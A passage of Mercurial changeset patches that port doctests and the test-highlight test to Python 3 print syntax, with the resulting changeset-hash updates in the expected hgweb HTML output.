         choices = [p.strip(' ') for p in m.group(2).split('$$')]
-        return (msg,
-                [(s[s.index('&') + 1].lower(), s.replace('&', '', 1))
-                 for s in choices])
+        def choicetuple(s):
+            ampidx = s.index('&')
+            return s[ampidx + 1:ampidx + 2].lower(), s.replace('&', '', 1)
+        return (msg, [choicetuple(s) for s in choices])
 
     def promptchoice(self, prompt, default=0):
         """Prompt user with a message, read response, and ensure it matches
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1497547893 14400
#      Thu Jun 15 13:31:33 2017 -0400
# Node ID 29238dbf718e1196ebaf136d4fbd47435da5ab1a
# Parent  d880a6bcef2fc7f0820130de345bcfab21208ce7
i18n: fix check-translation.py to be less broken on Python 3

These are all simple one-argument print statements, so this syntax
works the same way in 2 and 3.

Differential Revision: https://phab.mercurial-scm.org/D276

diff --git a/i18n/check-translation.py b/i18n/check-translation.py
--- a/i18n/check-translation.py
+++ b/i18n/check-translation.py
@@ -51,7 +51,7 @@
     ...     msgstr='prompt  missing &sep$$missing  amp$$followed by none&')
     >>> match(promptchoice, pe)
     True
-    >>> for e in promptchoice(pe): print e
+    >>> for e in promptchoice(pe): print(e)
     number of choices differs between msgid and msgstr
     msgstr has invalid choice missing '&'
     msgstr has invalid '&' followed by none
@@ -88,19 +88,19 @@
     ...     msgstr= 'something (DEPRECATED)')
     >>> match(deprecated, pe)
     True
-    >>> for e in deprecated(pe): print e
+    >>> for e in deprecated(pe): print(e)
     >>> pe = polib.POEntry(
     ...     msgid = 'Something (DEPRECATED)',
     ...     msgstr= 'something (DETACERPED)')
     >>> match(deprecated, pe)
     True
-    >>> for e in deprecated(pe): print e
+    >>> for e in deprecated(pe): print(e)
     >>> pe = polib.POEntry(
     ...     msgid = 'Something (DEPRECATED)',
     ...     msgstr= 'something')
     >>> match(deprecated, pe)
     True
-    >>> for e in deprecated(pe): print e
+    >>> for e in deprecated(pe): print(e)
     msgstr inconsistently translated (DEPRECATED)
     >>> pe = polib.POEntry(
     ...     msgid = 'Something (DEPRECATED, foo bar)',
@@ -124,16 +124,16 @@
     >>> pe = polib.POEntry(
     ...     msgid ='ends with ::',
     ...     msgstr='ends with ::')
-    >>> for e in taildoublecolons(pe): print e
+    >>> for e in taildoublecolons(pe): print(e)
     >>> pe = polib.POEntry(
     ...     msgid ='ends with ::',
     ...     msgstr='ends without double-colons')
-    >>> for e in taildoublecolons(pe): print e
+    >>> for e in taildoublecolons(pe): print(e)
     tail '::'-ness differs between msgid and msgstr
     >>> pe = polib.POEntry(
     ...     msgid ='ends without double-colons',
     ...     msgstr='ends with ::')
-    >>> for e in taildoublecolons(pe): print e
+    >>> for e in taildoublecolons(pe): print(e)
     tail '::'-ness differs between msgid and msgstr
     """
     if pe.msgid.endswith('::') != pe.msgstr.endswith('::'):
@@ -149,7 +149,7 @@
     >>> pe = polib.POEntry(
     ...     msgid ='    indented text',
     ...     msgstr='  narrowed indentation')
-    >>> for e in indentation(pe): print e
+    >>> for e in indentation(pe): print(e)
     initial indentation width differs betweeen msgid and msgstr
     """
     idindent = len(pe.msgid) - len(pe.msgid.lstrip())
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1497547922 14400
#      Thu Jun 15 13:32:02 2017 -0400
# Node ID c91013452b33eddf2f350fe189dc11f494b97512
# Parent  29238dbf718e1196ebaf136d4fbd47435da5ab1a
dagparser: make print statement in doctest Py3 portable

Differential Revision: https://phab.mercurial-scm.org/D277

diff --git a/mercurial/dagparser.py b/mercurial/dagparser.py
--- a/mercurial/dagparser.py
+++ b/mercurial/dagparser.py
@@ -156,7 +156,7 @@
     Error:
 
         >>> try: list(parsedag('+1 bad'))
-        ... except Exception, e: print e
+        ... except Exception, e: print(e)
         invalid character in dag description: bad...
 
     '''
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1500955214 14400
#      Tue Jul 25 00:00:14 2017 -0400
# Node ID 65de152ba375fddbd2ecca910185ec2900063da9
# Parent  c91013452b33eddf2f350fe189dc11f494b97512
tests: make test-highlight code portable to python3

This is easier than trying to do some sort of check-code shenanigans.

Differential Revision: https://phab.mercurial-scm.org/D278

diff --git a/tests/test-highlight.t b/tests/test-highlight.t
--- a/tests/test-highlight.t
+++ b/tests/test-highlight.t
@@ -49,7 +49,7 @@
   >     except (ValueError, IndexError):
   >         n = 10
   >     p = primes()
-  >     print "The first %d primes: %s" % (n, list(islice(p, n)))
+  >     print("The first %d primes: %s" % (n, list(islice(p, n))))
   > EOF
   $ echo >> primes.py  # to test html markup with an empty line just before EOF
   $ hg ci -Ama
@@ -74,7 +74,7 @@
   <script type="text/javascript" src="/static/mercurial.js"></script>
   
   <link rel="stylesheet" href="/highlightcss" type="text/css" />
-  <title>test: 1af356141006 primes.py</title>
+  <title>test: f4fca47b67e6 primes.py</title>
   </head>
   <body>
   
@@ -112,7 +112,7 @@
   <div class="main">
   <h2 class="breadcrumb"><a href="/">Mercurial</a> </h2>
   <h3>
-   view primes.py @ 0:<a href="/rev/1af356141006">1af356141006</a>
+   view primes.py @ 0:<a href="/rev/f4fca47b67e6">f4fca47b67e6</a>
    <span class="tag">tip</span> 
   </h3>
   
@@ -182,7 +182,7 @@
   <span id="l27">    <span class="kn">except</span> <span class="p">(</span><span class="ne">ValueError</span><span class="p">,</span> <span class="ne">IndexError</span><span class="p">):</span></span><a href="#l27"></a>
   <span id="l28">        <span class="n">n</span> <span class="o">=</span> <span class="mi">10</span></span><a href="#l28"></a>
   <span id="l29">    <span class="n">p</span> <span class="o">=</span> <span class="n">primes</span><span class="p">()</span></span><a href="#l29"></a>
-  <span id="l30">    <span class="kn">print</span> <span class="s">&quot;The first </span><span class="si">%d</span><span class="s"> primes: </span><span class="si">%s</span><span class="s">&quot;</span> <span class="o">%</span> <span class="p">(</span><span class="n">n</span><span class="p">,</span> <span class="nb">list</span><span class="p">(</span><span class="n">islice</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">n</span><span class="p">)))</span></span><a href="#l30"></a>
+  <span id="l30">    <span class="kn">print</span><span class="p">(</span><span class="s">&quot;The first </span><span class="si">%d</span><span class="s"> primes: </span><span class="si">%s</span><span class="s">&quot;</span> <span class="o">%</span> <span class="p">(</span><span class="n">n</span><span class="p">,</span> <span class="nb">list</span><span class="p">(</span><span class="n">islice</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">n</span><span class="p">))))</span></span><a href="#l30"></a>
   <span id="l31"></span><a href="#l31"></a>
   </pre>
   </div>
@@ -251,7 +251,7 @@
   <div class="main">
   <h2 class="breadcrumb"><a href="/">Mercurial</a> </h2>
   <h3>
-   annotate primes.py @ 0:<a href="/rev/1af356141006">1af356141006</a>
+   annotate primes.py @ 0:<a href="/rev/f4fca47b67e6">f4fca47b67e6</a>
    <span class="tag">tip</span> 
   </h3>
   
@@ -299,19 +299,19 @@
     
   <tr id="l1" class="thisrev">
   <td class="annotate parity0">
-  <a href="/annotate/1af356141006/primes.py#l1">
+  <a href="/annotate/f4fca47b67e6/primes.py#l1">
   0
   </a>
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l1">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l1">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l1">     1</a> <span class="sd">&quot;&quot;&quot;Fun with generators. Corresponding Haskell implementation:</span></td>
@@ -321,14 +321,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l2">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l2">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l2">     2</a> </td>
@@ -338,14 +338,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l3">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l3">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l3">     3</a> <span class="sd">primes = 2 : sieve [3, 5..]</span></td>
@@ -355,14 +355,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l4">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l4">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l4">     4</a> <span class="sd">    where sieve (p:ns) = p : sieve [n | n &lt;- ns, mod n p /= 0]</span></td>
@@ -372,14 +372,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l5">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l5">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l5">     5</a> <span class="sd">&quot;&quot;&quot;</span></td>
@@ -389,14 +389,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l6">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l6">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l6">     6</a> </td>
@@ -406,14 +406,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l7">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l7">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l7">     7</a> <span class="kn">from</span> <span class="nn">itertools</span> <span class="kn">import</span> <span class="n">dropwhile</span><span class="p">,</span> <span class="n">ifilter</span><span class="p">,</span> <span class="n">islice</span><span class="p">,</span> <span class="n">count</span><span class="p">,</span> <span class="n">chain</span></td>
@@ -423,14 +423,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l8">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l8">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l8">     8</a> </td>
@@ -440,14 +440,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l9">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l9">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l9">     9</a> <span class="kn">def</span> <span class="nf">primes</span><span class="p">():</span></td>
@@ -457,14 +457,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l10">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l10">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l10">    10</a>     <span class="sd">&quot;&quot;&quot;Generate all primes.&quot;&quot;&quot;</span></td>
@@ -474,14 +474,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l11">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l11">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l11">    11</a>     <span class="kn">def</span> <span class="nf">sieve</span><span class="p">(</span><span class="n">ns</span><span class="p">):</span></td>
@@ -491,14 +491,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l12">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l12">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l12">    12</a>         <span class="n">p</span> <span class="o">=</span> <span class="n">ns</span><span class="o">.</span><span class="n">next</span><span class="p">()</span></td>
@@ -508,14 +508,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l13">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l13">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l13">    13</a>         <span class="c"># It is important to yield *here* in order to stop the</span></td>
@@ -525,14 +525,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l14">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l14">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l14">    14</a>         <span class="c"># infinite recursion.</span></td>
@@ -542,14 +542,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l15">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l15">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l15">    15</a>         <span class="kn">yield</span> <span class="n">p</span></td>
@@ -559,14 +559,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l16">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l16">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l16">    16</a>         <span class="n">ns</span> <span class="o">=</span> <span class="n">ifilter</span><span class="p">(</span><span class="kn">lambda</span> <span class="n">n</span><span class="p">:</span> <span class="n">n</span> <span class="o">%</span> <span class="n">p</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">,</span> <span class="n">ns</span><span class="p">)</span></td>
@@ -576,14 +576,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l17">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l17">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l17">    17</a>         <span class="kn">for</span> <span class="n">n</span> <span class="ow">in</span> <span class="n">sieve</span><span class="p">(</span><span class="n">ns</span><span class="p">):</span></td>
@@ -593,14 +593,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l18">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l18">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l18">    18</a>             <span class="kn">yield</span> <span class="n">n</span></td>
@@ -610,14 +610,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l19">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l19">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l19">    19</a> </td>
@@ -627,14 +627,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l20">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l20">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l20">    20</a>     <span class="n">odds</span> <span class="o">=</span> <span class="n">ifilter</span><span class="p">(</span><span class="kn">lambda</span> <span class="n">i</span><span class="p">:</span> <span class="n">i</span> <span class="o">%</span> <span class="mi">2</span> <span class="o">==</span> <span class="mi">1</span><span class="p">,</span> <span class="n">count</span><span class="p">())</span></td>
@@ -644,14 +644,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l21">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l21">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l21">    21</a>     <span class="kn">return</span> <span class="n">chain</span><span class="p">([</span><span class="mi">2</span><span class="p">],</span> <span class="n">sieve</span><span class="p">(</span><span class="n">dropwhile</span><span class="p">(</span><span class="kn">lambda</span> <span class="n">n</span><span class="p">:</span> <span class="n">n</span> <span class="o">&lt;</span> <span class="mi">3</span><span class="p">,</span> <span class="n">odds</span><span class="p">)))</span></td>
@@ -661,14 +661,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l22">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l22">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l22">    22</a> </td>
@@ -678,14 +678,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l23">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l23">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l23">    23</a> <span class="kn">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">&quot;__main__&quot;</span><span class="p">:</span></td>
@@ -695,14 +695,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l24">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l24">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l24">    24</a>     <span class="kn">import</span> <span class="nn">sys</span></td>
@@ -712,14 +712,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l25">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l25">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l25">    25</a>     <span class="kn">try</span><span class="p">:</span></td>
@@ -729,14 +729,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l26">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l26">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l26">    26</a>         <span class="n">n</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span></td>
@@ -746,14 +746,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l27">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l27">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l27">    27</a>     <span class="kn">except</span> <span class="p">(</span><span class="ne">ValueError</span><span class="p">,</span> <span class="ne">IndexError</span><span class="p">):</span></td>
@@ -763,14 +763,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l28">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l28">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l28">    28</a>         <span class="n">n</span> <span class="o">=</span> <span class="mi">10</span></td>
@@ -780,14 +780,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l29">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l29">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l29">    29</a>     <span class="n">p</span> <span class="o">=</span> <span class="n">primes</span><span class="p">()</span></td>
@@ -797,31 +797,31 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l30">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l30">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
-  <td class="source followlines-btn-parent"><a href="#l30">    30</a>     <span class="kn">print</span> <span class="s">&quot;The first </span><span class="si">%d</span><span class="s"> primes: </span><span class="si">%s</span><span class="s">&quot;</span> <span class="o">%</span> <span class="p">(</span><span class="n">n</span><span class="p">,</span> <span class="nb">list</span><span class="p">(</span><span class="n">islice</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">n</span><span class="p">)))</span></td>
+  <td class="source followlines-btn-parent"><a href="#l30">    30</a>     <span class="kn">print</span><span class="p">(</span><span class="s">&quot;The first </span><span class="si">%d</span><span class="s"> primes: </span><span class="si">%s</span><span class="s">&quot;</span> <span class="o">%</span> <span class="p">(</span><span class="n">n</span><span class="p">,</span> <span class="nb">list</span><span class="p">(</span><span class="n">islice</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">n</span><span class="p">))))</span></td>
   </tr>
   <tr id="l31" class="thisrev">
   <td class="annotate parity0">
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l31">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l31">
+  f4fca47b67e6</a>
   a
   </div>
